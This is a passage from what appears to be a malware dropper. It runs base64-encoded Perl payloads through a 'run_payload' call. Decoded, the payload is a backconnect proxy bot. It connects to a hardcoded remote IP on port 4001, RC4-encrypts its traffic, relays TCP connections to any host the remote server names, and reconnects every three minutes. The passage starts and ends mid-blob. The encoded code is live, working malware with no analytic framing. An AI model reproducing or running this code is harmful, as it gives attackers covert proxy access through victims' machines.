GEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_4.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTUzJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRy